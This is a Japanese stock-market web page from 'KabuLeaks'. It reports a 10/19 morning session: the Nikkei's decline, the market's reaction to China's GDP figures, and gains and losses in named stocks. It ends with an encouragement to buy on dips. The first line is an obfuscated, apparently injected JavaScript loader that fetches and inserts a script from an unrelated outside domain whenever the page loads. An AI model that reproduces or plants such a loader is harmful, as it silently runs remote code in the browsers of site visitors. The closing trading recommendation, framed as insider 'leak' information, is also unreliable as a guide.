;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【10/19 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【10/19 前引け】

前場の日経平均株価は101円安と3日ぶり反落。先週末の米市場が堅調推移も日経平均は朝方から売り先行、その後も中国GDP発表を控え警戒感から下げ幅を拡大、一時200円超まで下げ幅を広げた。ただ、その後中国GDPが発表され市場予想を上回る結果から買い戻しが入り前場引けにかけやや下げ幅縮小の流れとなっている。業種別では、その他製品、建設業、水産・農林業、医薬品などが上昇。一方、ゴム製品、非鉄金属、鋼鉄、鉱業などが値下がり上位に。

個別では、先週の勢いが継続した直近IPO、【6177】AppBank が高く始まると早々にストップ高まで上昇。【3912】モバイルファクトリー、【6072】地盤ネットホールディングス、【6079】エナリス、【3823】アクロディアなども先週に続き資金が入り大幅高となっているほか、先週末に発表した業績上方修正が買い材料視され【9115】明治海運がストップ高に。一方、マンションの傾斜問題で行政処分の検討を開始したと報じられていることから【1821】三井住友建設、【3407】旭化成が大幅安となっている。

中国7~9月GDPの発表が近づき警戒感から一時18078.43円と18100円を割り込む局面もみられたが予想は市場予想を上回った。これにより後場は引き続き買い戻しの流れは予想。政策期待、緩和期待など根強くあるだけに強気の押し目買いを推奨したい。また、中小型株への物色の旺盛なだけに値動きの軽い銘柄など積極的に値幅を取っていくのもいいだろう。